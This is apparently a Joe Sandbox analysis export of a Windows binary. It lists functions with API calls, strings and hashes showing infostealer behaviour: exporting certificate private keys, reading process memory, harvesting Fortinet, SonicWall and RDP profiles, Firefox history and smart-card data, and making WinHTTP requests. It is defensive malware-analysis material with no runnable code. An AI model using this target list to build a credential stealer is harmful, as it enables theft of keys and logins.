Control-flow Graph

Executed
Not Executed

APIs

CertOpenStore.CRYPT32 ref: 00007FF6F2D62C16
CertCloseStore.CRYPT32 ref: 00007FF6F2D62CC2

Part of subcall function 00007FF6F2D62D5C: CertEnumCertificatesInStore.CRYPT32 ref: 00007FF6F2D62D90
Part of subcall function 00007FF6F2D62D5C: CertGetNameStringW.CRYPT32 ref: 00007FF6F2D62DD3
Part of subcall function 00007FF6F2D62D5C: CertNameToStrW.CRYPT32 ref: 00007FF6F2D62EB8
Part of subcall function 00007FF6F2D62D5C: CertNameToStrW.CRYPT32 ref: 00007FF6F2D62F0A

Strings

+sls, xrefs: 00007FF6F2D62C88
{s{s, xrefs: 00007FF6F2D62C5E
+ss, xrefs: 00007FF6F2D62C73
fs{s, xrefs: 00007FF6F2D62C6B

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Cert$NameStore$CertificatesCloseEnumOpenString
String ID: +ss$+sls$fs{s${s{s
API String ID: 3617724111-3691527440
Opcode ID: 041190dec486dc00a696f8e4274d1a1c3cacc9eb9b54fbdfd046d7e1b3a2024b
Instruction ID: 5fc4a1eb80dd19758a80b5ef4847eb037f0d40b97545a4b472b75f066c5c2087
Opcode Fuzzy Hash: 041190dec486dc00a696f8e4274d1a1c3cacc9eb9b54fbdfd046d7e1b3a2024b
Instruction Fuzzy Hash: 7321C732A1868281E750DB11E4843A97765FB85B84F045232EAAEC7789EE7CD4048F50

Function 00007FF6F2D62B1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumSystemStore.CRYPT32 ref: 00007FF6F2D62B7F

Strings

"_":"", xrefs: 00007FF6F2D62B5C
":{, xrefs: 00007FF6F2D62B4D

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: CertEnumStoreSystem
String ID: ":{$"_":""
API String ID: 4132996702-2026347918
Opcode ID: 02997e885b2f021e2d77aaf3545baf76aa65b304f2a4f6736cd43391604a521e
Instruction ID: a524aae2f428ae3e24fd0eed99c1f59917032cd737dca5e27c1f4dc91f496e2b
Opcode Fuzzy Hash: 02997e885b2f021e2d77aaf3545baf76aa65b304f2a4f6736cd43391604a521e
Instruction Fuzzy Hash: CB01A711E0864241FB04D716E4412B9675DAF95BC8F485732DD3DC77DAAFACD1428B10

Function 00007FF6F2D631C4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumSystemStoreLocation.CRYPT32 ref: 00007FF6F2D63200

Strings

"_": "", xrefs: 00007FF6F2D631E2

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: CertEnumLocationStoreSystem
String ID: "_": ""
API String ID: 863500693-1453221996
Opcode ID: ec0cdce72799e486ace2b0816923927e4b5d0f16a198642160ee6ca1f8e93389
Instruction ID: da40635f3ef4766a8b4723598623af559d24a94ebbb870e41af56840f55c50d9
Opcode Fuzzy Hash: ec0cdce72799e486ace2b0816923927e4b5d0f16a198642160ee6ca1f8e93389
Instruction Fuzzy Hash: E4E06551B1850340EF44AB62A8962F427185F597C8F4C2232D83EC63D6FDACD0858B20

Function 00007FF6F2D6968C Relevance: 3.0, APIs: 2, Instructions: 42
filepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekNamedPipe.KERNELBASE ref: 00007FF6F2D696B8
ReadFile.KERNELBASE ref: 00007FF6F2D696F7

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: FileNamedPeekPipeRead
String ID:
API String ID: 327342812-0
Opcode ID: 34d1d673edd9c40d02f270326efd511933567532b5db1aeb081074a9eac190bf
Instruction ID: 25d817d01092f172318f8bf8594061935ce2610c3b0e31d8ec64ab819dace8d5
Opcode Fuzzy Hash: 34d1d673edd9c40d02f270326efd511933567532b5db1aeb081074a9eac190bf
Instruction Fuzzy Hash: 7E01923271868287E7108B52E4857BAB7A1EB96BDCF148234DA58CB794EFFCD4448F10

Function 00007FF6F2D695A0 Relevance: 3.0, APIs: 2, Instructions: 39
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,?,00007345,00007FF6F2D69B7D), ref: 00007FF6F2D695B6
GetExitCodeProcess.KERNELBASE ref: 00007FF6F2D695F6

Part of subcall function 00007FF6F2D6968C: PeekNamedPipe.KERNELBASE ref: 00007FF6F2D696B8

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: CodeExitNamedObjectPeekPipeProcessSingleWait
String ID:
API String ID: 2021502500-0
Opcode ID: 76b1647610fa3ac8a868448c97318814702deb2e1fa5470dc729882b7589c6ea
Instruction ID: b747efa84414956934f193ba1e51a97e76100945a9f574ed1965a49e7ba42e5e
Opcode Fuzzy Hash: 76b1647610fa3ac8a868448c97318814702deb2e1fa5470dc729882b7589c6ea
Instruction Fuzzy Hash: 34012922A086C282EF508F65D4903B937A5EF85B8CF145631CA2DC65C9EFADDC85CB20

Function 00007FF6F2D62654 Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,?,00007FF6F2D61951,?,?,00000000,00007FF6F2D619BA), ref: 00007FF6F2D62669
RtlReAllocateHeap.NTDLL(?,?,?,00007FF6F2D61951,?,?,00000000,00007FF6F2D619BA), ref: 00007FF6F2D6267A

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: be938404752c85019b6f44b0f5e5ed4010620d834be4c87ef3aa5fcdd3d15046
Instruction ID: d1d0807e15f710fe6865df3db8348367bc455f63fdf50b67302238492d704a08
Opcode Fuzzy Hash: be938404752c85019b6f44b0f5e5ed4010620d834be4c87ef3aa5fcdd3d15046
Instruction Fuzzy Hash: A3E08615A085C281EB189BD2B9A40756625AF49BC8F088330DD2E47BD5ED6CD8454F20

Function 00007FF6F2D61A70 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wvsprintfW.USER32 ref: 00007FF6F2D61AA9

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: wvsprintf
String ID:
API String ID: 2795597889-0
Opcode ID: dd0fe6c676249214c66d74395a2174ea02b493f73ae380c8d3cb8aeb877b2744
Instruction ID: fca94b04056fcabe7986ddb8474854f63d578387de564ba26768f874a12c6d9f
Opcode Fuzzy Hash: dd0fe6c676249214c66d74395a2174ea02b493f73ae380c8d3cb8aeb877b2744
Instruction Fuzzy Hash: DEE06DB2A00B45C2D7048F15E98108C7B79FB99FC8B54C125CB4857364DF38D996CB60

Function 00007FF6F2D679C4 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00007FF6F2D674DE), ref: 00007FF6F2D679CD

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 6118cf754c1c705de9ec470bc179da628b291e502bfd3552ff041d694441724e
Instruction ID: 2d0d28360ff1b498021be3eb41f858d4ada5a0aab9784f3947aa6043cfb0d382
Opcode Fuzzy Hash: 6118cf754c1c705de9ec470bc179da628b291e502bfd3552ff041d694441724e
Instruction Fuzzy Hash: 02D05E02C0848682EB316B00945713632A1FF5930CFC00332C1AD824E07FACD7899E26

Non-executed Functions

Function 00007FF6F2D6DC0C Relevance: 54.7, APIs: 16, Strings: 15, Instructions: 436filestringCOMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI ref: 00007FF6F2D6DD8E
PathFileExistsW.SHLWAPI ref: 00007FF6F2D6DD98
PathQuoteSpacesW.SHLWAPI ref: 00007FF6F2D6DDAA
lstrcatW.KERNEL32 ref: 00007FF6F2D6DDC3
GetEnvironmentVariableW.KERNEL32 ref: 00007FF6F2D6DF50
PathAppendW.SHLWAPI ref: 00007FF6F2D6DF7F
PathFileExistsW.SHLWAPI ref: 00007FF6F2D6DF8C
CreateFileW.KERNEL32 ref: 00007FF6F2D6DFBC
GetFileSize.KERNEL32 ref: 00007FF6F2D6DFD4
ReadFile.KERNEL32 ref: 00007FF6F2D6DFFC

Part of subcall function 00007FF6F2D6CF20: lstrlenA.KERNEL32 ref: 00007FF6F2D6CF33

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

GetEnvironmentVariableW.KERNEL32 ref: 00007FF6F2D6E279
PathAppendW.SHLWAPI ref: 00007FF6F2D6E2A2
PathFileExistsW.SHLWAPI ref: 00007FF6F2D6E2AF
CreateFileW.KERNEL32 ref: 00007FF6F2D6E2DF
GetFileSize.KERNEL32 ref: 00007FF6F2D6E2F7

Part of subcall function 00007FF6F2D62588: GetProcessHeap.KERNEL32(?,?,00000000,00007FF6F2D6CD4D), ref: 00007FF6F2D62595

ReadFile.KERNEL32 ref: 00007FF6F2D6E323

Strings

</DefaultHostName>, xrefs: 00007FF6F2D6E0ED
Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles, xrefs: 00007FF6F2D6DEE3
}},, xrefs: 00007FF6F2D6E1E7
</DefaultUser>, xrefs: 00007FF6F2D6E059
"user": ", xrefs: 00007FF6F2D6E01E
<DefaultGroup>, xrefs: 00007FF6F2D6E15A
<DefaultUser>, xrefs: 00007FF6F2D6E02D
", "group": ", xrefs: 00007FF6F2D6E13C
Software\Microsoft\Terminal Server Client\Servers, xrefs: 00007FF6F2D6E217
]},, xrefs: 00007FF6F2D6E237
Software\SonicWall\SSL-VPN NetExtender\Standalone, xrefs: 00007FF6F2D6DD5D
<DefaultHostName>, xrefs: 00007FF6F2D6E0C6
</DefaultGroup>, xrefs: 00007FF6F2D6E181
Software\Fortinet\FortiClient\Sslvpn\Tunnels, xrefs: 00007FF6F2D6DCBE
", "host": ", xrefs: 00007FF6F2D6E0A8

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: File$Path$ExistsHeap$AppendCreateEnvironmentProcessReadSizeVariable$CombineFreeQuoteSpaceslstrcatlstrlen
String ID: ", "group": "$", "host": "$"user": "$</DefaultGroup>$</DefaultHostName>$</DefaultUser>$<DefaultGroup>$<DefaultHostName>$<DefaultUser>$Software\Fortinet\FortiClient\Sslvpn\Tunnels$Software\Microsoft\Terminal Server Client\Servers$Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles$Software\SonicWall\SSL-VPN NetExtender\Standalone$]},$}},
API String ID: 2508640211-1951492331
Opcode ID: 95f97117d68d64b6bf25aee9c45f7644639b940521229bd54e3b0bc6304baee3
Instruction ID: 6cbca81cbdb4c4a1060cd56d5170f5e19f5ebb1b13a7b73e10fa7896408bad43
Opcode Fuzzy Hash: 95f97117d68d64b6bf25aee9c45f7644639b940521229bd54e3b0bc6304baee3
Instruction Fuzzy Hash: 9F12C221A1858245EB10EB61D8953F93765AF867C8F804332E92DC7BDAFFACD505CB20

Function 00007FF6F2D63220 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 313encryptionmemorylibraryCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D6325E
CryptAcquireCertificatePrivateKey.CRYPT32 ref: 00007FF6F2D6328D
CryptGetUserKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D632BB

Part of subcall function 00007FF6F2D636F0: CryptExportKey.ADVAPI32 ref: 00007FF6F2D63744
Part of subcall function 00007FF6F2D636F0: CryptExportKey.ADVAPI32 ref: 00007FF6F2D6379E

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D63336
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D63380
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6F2D633AC
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6F2D633DC
CryptExportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6F2D63404
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6F2D6341C
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6F2D6343F
CryptAcquireContextA.ADVAPI32 ref: 00007FF6F2D63459
CryptImportKey.ADVAPI32 ref: 00007FF6F2D6347E
OpenSCManagerA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D634B5
OpenServiceA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D63505
QueryServiceStatusEx.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D63523
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D63532
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D6355D
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF6F2D62C48), ref: 00007FF6F2D6357C
WriteProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6F2D6359F
NCryptExportKey.NCRYPT ref: 00007FF6F2D63605
CertOpenStore.CRYPT32 ref: 00007FF6F2D63667
CertAddCertificateLinkToStore.CRYPT32 ref: 00007FF6F2D63682
CertSetCertificateContextProperty.CRYPT32 ref: 00007FF6F2D6369E
PFXExportCertStoreEx.CRYPT32 ref: 00007FF6F2D636BD
PFXExportCertStoreEx.CRYPT32 ref: 00007FF6F2D636DF

Strings

km{l, xrefs: 00007FF6F2D632F2
-,0z, xrefs: 00007FF6F2D632FB
Microsoft Software Key Storage Provider, xrefs: 00007FF6F2D6360D
CAPIPRIVATEBLOB, xrefs: 00007FF6F2D635AF, 00007FF6F2D635DE, 00007FF6F2D63622
5)F, xrefs: 00007FF6F2D634C7

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Crypt$CertExport$CertificateOpenProcessProtectStoreVirtual$ContextMemory$AcquirePropertyReadService$AddressImportLibraryLinkLoadManagerPrivateProcQueryStatusUserWrite
String ID: -,0z$5)F$CAPIPRIVATEBLOB$Microsoft Software Key Storage Provider$km{l
API String ID: 2161712720-385819238
Opcode ID: 75218921cc3421a315647877bddf5402e5b1d27b10d9dd8a73d73ab1dfe14f5f
Instruction ID: 62cf4739a402021a93f3d2527685dcead2264968623111f8cdcaf39cc5cb74b7
Opcode Fuzzy Hash: 75218921cc3421a315647877bddf5402e5b1d27b10d9dd8a73d73ab1dfe14f5f
Instruction Fuzzy Hash: 63E15A32B14A818AE710CFA1E844BED77A5BB49B88F404236DE5D57A98EF7CD109CB50

Function 00007FF6F2D6213C Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP ref: 00007FF6F2D6218D

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

WinHttpCrackUrl.WINHTTP ref: 00007FF6F2D621D8
WinHttpConnect.WINHTTP ref: 00007FF6F2D62213
WinHttpOpenRequest.WINHTTP ref: 00007FF6F2D622A8
WinHttpQueryOption.WINHTTP ref: 00007FF6F2D622E0
WinHttpSetOption.WINHTTP ref: 00007FF6F2D622FC
WinHttpSendRequest.WINHTTP ref: 00007FF6F2D6231D
WinHttpReceiveResponse.WINHTTP ref: 00007FF6F2D62330
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF6F2D62359
WinHttpReadData.WINHTTP ref: 00007FF6F2D62381
WinHttpCloseHandle.WINHTTP ref: 00007FF6F2D624C7
WinHttpCloseHandle.WINHTTP ref: 00007FF6F2D624D0
WinHttpCloseHandle.WINHTTP ref: 00007FF6F2D624E0

Strings

?r r, xrefs: 00007FF6F2D62265
?r r, xrefs: 00007FF6F2D62440
<r;r, xrefs: 00007FF6F2D62241

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Http$CloseHandle$DataHeapOpenOptionQueryRequest$AvailableConnectCrackFreeProcessReadReceiveResponseSend
String ID: <r;r$?r r$?r r
API String ID: 199669925-2032818692
Opcode ID: 7c3200e5b1162a59e3336203ad07deaebe161b4bdf8a21f308cab0b868f4c084
Instruction ID: 310016c18ab9c5ffe4e837228c4c246b8e3fe6f63d8ab942ee1ba908742513f0
Opcode Fuzzy Hash: 7c3200e5b1162a59e3336203ad07deaebe161b4bdf8a21f308cab0b868f4c084
Instruction Fuzzy Hash: F3A1E872B1838186EB10CF6594941AD7BA1FB86B88F444235DE5D87B89EF7CD405CF10

Function 00007FF6F2D6FB38 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 65stringfileCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF6F2D6FB69
lstrcatW.KERNEL32 ref: 00007FF6F2D6FB76
lstrcpyW.KERNEL32 ref: 00007FF6F2D6FB87
lstrcatW.KERNEL32 ref: 00007FF6F2D6FB9B
FindFirstFileW.KERNEL32 ref: 00007FF6F2D6FBAF
lstrcatW.KERNEL32 ref: 00007FF6F2D6FBCD
lstrcatW.KERNEL32 ref: 00007FF6F2D6FBDE
FindClose.KERNEL32 ref: 00007FF6F2D6FBE7

Part of subcall function 00007FF6F2D6FF3C: lstrlenW.KERNEL32 ref: 00007FF6F2D6FF62
Part of subcall function 00007FF6F2D6FF3C: lstrlenW.KERNEL32 ref: 00007FF6F2D6FF7E
Part of subcall function 00007FF6F2D6FF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF6F2D6FFA7
Part of subcall function 00007FF6F2D6FF3C: PathFileExistsA.SHLWAPI ref: 00007FF6F2D6FFB0
Part of subcall function 00007FF6F2D6FF3C: OpenFile.KERNEL32 ref: 00007FF6F2D6FFC9
Part of subcall function 00007FF6F2D6FF3C: GetFileSize.KERNEL32 ref: 00007FF6F2D6FFE9
Part of subcall function 00007FF6F2D6FF3C: CreateFileMappingA.KERNEL32 ref: 00007FF6F2D70020
Part of subcall function 00007FF6F2D6FF3C: MapViewOfFile.KERNEL32 ref: 00007FF6F2D70041
Part of subcall function 00007FF6F2D6FF3C: __memcpy.DELAYIMP ref: 00007FF6F2D70053
Part of subcall function 00007FF6F2D6FF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF6F2D7005E
Part of subcall function 00007FF6F2D6FF3C: CloseHandle.KERNEL32 ref: 00007FF6F2D70067
Part of subcall function 00007FF6F2D6FF3C: CloseHandle.KERNEL32 ref: 00007FF6F2D70070

Part of subcall function 00007FF6F2D6F280: __memcpy.DELAYIMP ref: 00007FF6F2D6F29E

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

Strings

\places.sqlite, xrefs: 00007FF6F2D6FBD3
APPDATA, xrefs: 00007FF6F2D6FB62
*.default-release, xrefs: 00007FF6F2D6FB8D

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: File$lstrcat$Close$FindHandleHeapView__memcpylstrlen$ByteCharCreateEnvironmentExistsFirstFreeMappingMultiOpenPathProcessSizeUnmapVariableWidelstrcpy
String ID: *.default-release$APPDATA$\places.sqlite
API String ID: 4154822446-3438982840
Opcode ID: d7269cf17e5b33c1795cd74e29e03c46c3fcc247abef41597c81738ae3b3c5ab
Instruction ID: 3fb4ef33b0f2e82d79eda58720bdc252f4a9fc38fcf9d535ec213eb16858e0c9
Opcode Fuzzy Hash: d7269cf17e5b33c1795cd74e29e03c46c3fcc247abef41597c81738ae3b3c5ab
Instruction Fuzzy Hash: 00315322A1894795EB10DF10E8945E97325FB44798F805231D96E8B9D8FFACD609CB50

Function 00007FF6F2D6B428 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 310COMMON

Download Yara Rule

APIs

SCardGetStatusChangeW.WINSCARD ref: 00007FF6F2D6B53F
SCardListCardsW.WINSCARD ref: 00007FF6F2D6B5E7
SCardFreeMemory.WINSCARD ref: 00007FF6F2D6B67E
SCardListCardsW.WINSCARD ref: 00007FF6F2D6B7A6
SCardFreeMemory.WINSCARD ref: 00007FF6F2D6B83B

Strings

"_": "", xrefs: 00007FF6F2D6B456
%02X, xrefs: 00007FF6F2D6B58B

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

